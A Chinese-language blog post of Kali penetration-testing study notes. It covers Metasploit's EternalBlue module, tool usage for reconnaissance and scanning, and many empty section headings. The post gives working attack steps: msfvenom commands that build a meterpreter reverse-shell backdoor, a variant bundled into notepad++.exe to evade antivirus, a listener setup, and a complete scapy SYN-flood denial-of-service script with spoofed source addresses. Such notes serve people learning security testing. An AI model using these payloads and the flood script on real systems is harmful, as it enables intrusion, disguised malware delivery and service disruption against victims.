THIS IS B3c0me

记录生活中的点点滴滴

0%

Kali渗透测试

一、初识MSF

1.1 metasploit攻击永恒之蓝

1.使用模块

1
use exploit/windows/smb/ms17_010_eternalblue

2.设置必选项

1
2
3
4
5
show options

set [option]

run 运行模块

1.2 msf后门木马植入和远控监听

msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线

[msfvenom在shell里面使用,而不是在msf终端]

1
msfvenom -p windows/x64/meterpreter/reverse_tcp(windows可执行程序后门) lhost=192.168.10.103 lport=9999(payload设置) -f(format) exe -o(output) demo.exe(可执行文件)

生成木马后,将木马文件放在靶机(通过钓鱼等方式),开启监听:

1
2
3
4
5
6
7
msf中:

use exploit/mutil/hander
set payload windows/x64/meterpreter/reverse_tcp 与上面保持一致
set lhost 192.168.10.103 与上面保持一致
set port 9999 与上面保持一致
run
  • 免杀

1.捆绑木马:对火狐有效,对360无效 -x参数:加一个没有害的应用程序(64位)

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.19.128 lport=9999 -f exe -x notepad++.exe -o notepad++.exe

2.加壳:

压缩壳 加密壳

加壳工具:themida

二、信息收集

2.1 网站指纹识别

1.操作系统判断:

  • ping 判断:windows的TLL一般为128,Linux的TTL一般为64,TTL大于100的一般为Windows,几十的则为Linux。

  • nmap -O参数

  • Windows大小写不敏感,Linux区分大小写。

2.网站服务、容器类型

3.脚本类型

查看网站文件名后缀

4.数据库类型

5.CMS识别

常见CMS:dedecms(织梦)、discuz/phpcms

2.2 敏感文件及目录识别

2.3 网站WAF识别

2.4 枚举服务

2.4.1 DNS枚举工具DNSenum

2.4.2 DNS枚举工具 fierce

1
fierce --domain baidu.com 查询百度的子域名

2.4.3 SNMP枚举工具 Snmpwalk

2.4.4 SNMP枚举工具Snmpcheck

*很强大

1
snmpcheck -t 192.168.*.*

2.4.5 SMTP枚举工具 smtp-user-enum

2.5 测试网络范围

2.5.1 域名查询工具 DMitry

用来查询Ip或域名whois信息

1
dmitry -wnpb rzchina.net 

2.5.2 跟踪路由工具Scapy

scapy是交互式数据包处理工具、数据包生成器、网络扫描器、网络发现工具和包嗅探工具。

  • 启动scapy工具:看到>>>说明登录成功

    1
    scapy
  • 网络数据包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    pkt = IP()/TCP #创建一个数据包
    pkt.show() # 查看使用方法
    pkt = IP(src="192.168.199.106",dst="39.156.66.14")/TCP()
    # 自定义数据包
    res = sr1(pkt) # 发送数据包并收到一个结果
    res = sr(pkt) # 发送数据包接收所有响应
    res = send(pkt) # 发送但不接收响应

    res.summary() # 查看响应结果的简要信息
    res.show() # 查看响应信息
  • 嗅探

    1
    sniff()
  • 进制转换

    1
    hexdump()
  • 使用scapy写一个syn拒绝服务攻击的脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import random
    import time
    from scapy.all import *

    tgt = "192.168.19.66" # 受害者IP
    print(tgt)
    dPort = 80 # 目标端口

    def synFlood(tgt, dPot):
    srcList = ['11.1.1.2', '22.1.1.102', '33.1.1.2', '44.1.1.2'] # 伪造的源IP地址
    for sPort in range(1024, 65535):
    index = random.randrange(4)

    ipLayer = IP(src=srcList[index], dst=tgt)
    tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
    packet = ipLayer / tcpLayer
    send(packet) # 只发送不接收响应


    synFlood(tgt, dPort)
  • 使用scapy查看TCP路由跟踪信息

    1
    2
    3
    4
    5
    res,unans=traceroute(["www.google.com","www.kali.org","www.rzchina.net"],dport=[80,443],maxttl=20,retry=2)

    #,traceroute函数被调用来跟踪到三个目标主机(www.google.com,www.kali.org,www.rzchina.net)的路径。参数dport=[80,443]指定了要使用的目标端口号,这里是80443,分别对应HTTP和HTTPS协议的默认端口。参数maxttl=20表示设置最大TTL(Time to Live)值为20,即数据包在最多经过20个路由器后结束跟踪。参数retry=2表示如果某个路由器未响应,则重试两次。

    通过执行traceroute函数,可以获取到从源主机到目标主机的路径信息,包括每一跳的IP地址和响应时间,有助于诊断网络故障和优化网络性能。
  • 使用res.graph()函数以图的形式显示路由跟踪结果

    1
    res.graph()

2.6 识别活跃的主机

2.6.1 网络映射工具nmap

网络扫描和嗅探工具包,功能:

  • 探测一组主机是否在线
  • 扫描主机端口
  • 推断主机使用的操作系统
  • nmap的主要扫描类型

    • ping扫描:TCP SYN扫描, 操作系统识别
    • 端口扫描:UDP扫描,隐蔽扫描
  • 使用nmap识别活跃的主机

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 查看一个主机是否在线
    nmap -sP 192.168.19.207

    # 获取更多详细信息
    nping --echo-client "public" echo.nmap.org --->输出的信息显示与echo.nmap.org 网站连接时数据的发送情况

    # 发送一些十六进制的数据到指定端口(结果如下图)
    nping -tcp -p 445 -data AF56A43D 192.168.41.136
    输出信息显示了本机与目标系统之间的TCP传输过程。通过发送数据包到指定端口模拟出一些常见的网络层攻击,以验证目标系统对这些测试的防御情况。

  • 查看打开的端口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
     # 扫描所有端口
    nmap 192.168.19.207

    # 扫描指定范围内的端口
    nmap -p 1-1000 192.168.19.207 #该命令显示1-1000范围内开放的端口

    #扫描在某一网段内所有开启TCP端口22的主机
    nmap -p 22 192.168.19.*

    #将扫描结果保存到文件中
    nmap -p 22 192.168.19.* -oG /tempnmap-targethost-tcp445.txt

2.7 系统指纹识别

2.7.1 使用Nmap

1
2
#测试操作系统
namp -O 192.168.19.207

2.7.2 指纹识别工具p0F

p0f是一款被动指纹识别工具。通过分析目标主机发出的数据包,对主机上的操作系统进行鉴别,即使是在系统上装有性能良好的防火墙也没有问题

主要的识别信息有:

  • 操作系统类型
  • 端口
  • 是否运行于防火墙之后
  • 是否运行于NAT模式
  • 是否运行于负载均衡模式
  • 远程系统已启动时间
  • 远程系统的DSL和ISP信息等
1
2
#使用p0f分析 Wireshark捕获的一个文件
p0f -r /tmp/targethost.pcap -o p0f-result.log # 输出的信息是p0f分析targethost.pcap包的一个结果。该信息中显示了客户与服务器的详细信息,包括操作系统类型、地址、以太网模式、运行的服务器和端口号等

2.8 服务指纹识别

服务指纹信息包括服务端口、服务名和版本等。

2.8.1 nmap

1
2
#查看服务上正在运行的端口
nmap -sV 192.168.19.207

2.8.2 服务枚举工具 Amap

该工具能识别正运行在一个指定端口或一个范围端口上的应用程序

1
2
#测试目标主机上正在运行的应用程序
amap -bp 192.168.*.* 50-100

2.9 其他信息收集手段

2.9.1 Recon-NG框架

python编写的开源的web侦查框架

启动recon-ng

1
recon-ng
安装模块
1
2
3
4
5
1. marketplace refresh # 更新模块列表
2. marketplace search hackertarget # 搜索 hackertarget 模块,可以发现支持模糊搜索
3. marketplace install recon/domains-hosts/hackertarget # 复制模块名,安装

模块安装完成后,就可以加载使用了。
使用模块
1
2
3
4
5
6
1. modules load recon/domains-hosts/hackertarget # 加载模块
2. info # 查看模块的描述信息及参数。这里发现该模块是用来搜索主机名。
3. help # 查看该模块下的使用命令,其中 options 用来修改模块的参数。(goptions 是全局参数,在非模块模式下才可修改。)
4. options set SOURCE rapid7.com # 设置 SOURCE 参数(用来探测 rapid7.com的主机)
5. run # 设置好参数后,直接运行。
6. show hosts # 在上述 hackertarget 的描述中发现,会把搜索记录 放到 hosts 表中,可以使用 show 命令查看。

实例:枚举baidu网站的子域名

1
2
3
4
5
6
7
8
#使用recon/domains-hosts/baidu_site
user recon/domains-hosts/baidu_site
#查看该模块下可配置的参数
show options
#配置SOURCE选项参数
set SOURCE baidu.com
#启动信息收集
run

2.9.2 ARP侦查工具 Netdiscover

是一个主动、被动的ARP侦查工具,在不使用DHCP的无线网络上非常有用

1
2
#使用netdiscover 工具扫描局域网中所有的主机
netdiscover

2.9.3 搜索引擎工具Shodan

该工具不是在网上搜索网址,而是直接搜索服务器。

www.shodanhq.com

过滤器命令的语法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1.City和Country命令可以缩小搜索的地理位置
2.HOSTNAME命令通过指定主机名来扫描整个域名
hostname:google 表示搜索google主机

3.NET命令 使用net命令扫描单个ip或一个网络范围
net:192.168.1.10 :扫描主机192.168.1.10
net:192.168.1.10/24 扫描该网段所有主机

4.title命令 搜索项目
tltle:"sever room" 表示搜索服务器机房信息

5.关键字搜索
apache/2.2.8 200 ok 表示搜索所有Apache服务正在运行的2.2.8版本

6.组合搜索
IIS/7.0 hostname: YourCompany.com city:Boston 表示搜索在波士顿所有正在运行IIS/7.0的服务器
geo 33.5,36.3 os:Linux 表示使用坐标轴(经度和纬度)的形式搜索Linux操作系统

使用msf实现shodan搜索
  • 在shodanhq.com网站注册一个免费的账户

  • http://www.shodanhq.com/api_doc 网站获取AIP key

  • 启动postgresql服务

    1
    service postgresql start
  • 启动msf

    1
    msfconsole
  • 选择auxiliary/gather/shoan_search模块,并查看该模块下可配置的选项参数

    1
    2
    use auxiliary/gather/shodan_search
    show options
  • 配置QUERY和SHODAN_APIKEY选项参数

    1
    2
    set SHODAN_APIKEY *****
    set QUERY iomega
  • 启动搜索引擎

    1
    2
    run  
    # 输出的信息显示了匹配iomega关键字的所有信息

2.10 Maltego收集信息

maltego是一个开源的漏洞评估工具,主要用于论证一个网络内单点故障的复杂性和严重性。该工具能够聚集来自内部和外部资源的信息,并且提供一个清晰的漏洞分析界面。

  • 准备工作

    1
    2
    先到https://www.paterva.com/web6/community/maltego/网站注册一个账号
    这里涉及到google recaptcha的问题,详细可查询百度
  • 收集域名信息

  • 收集公共IP地址信息

三、攻击WordPress和其他应用程序

四、漏洞扫描

4.1 使用Nessus

4.2 使用OpenVAS

五、漏洞利用

5.1 Metasploitable操作系统

5.2 metasploit基础

5.3 控制meterpreter

5.4 渗透攻击应用

5.5 免杀Payload生成工具veil

六、权限提升

6.1 使用假冒令牌

6.2 本地权限提升

6.3 社会工程学工具包

6.4 使用SET实施攻击

七、密码攻击

7.1 密码在线破解

7.2 分析密码

7.3 破解LM Hashes密码

7.4 绕过Utilman登录

7.5破解纯文本密码工具Mimikatz

7.6 破解操作系统用户密码

7.7 创建密码字典

7.9 物理访问攻击

八、无线网络渗透测试

8.1 无线网络嗅探工具Kismet

8.2 使用aircrack-ng 工具破解无线网络

8.3 Gerix Wifi Cracker 破解无线网络

8.4 使用Wifite破解无线网络

8.5 使用Easy-Creds工具工具无线网络

8.6 在树莓派上破解无线网络

8.7 攻击路由器

8.8 Arpspoof工具

欢迎关注我的其它发布渠道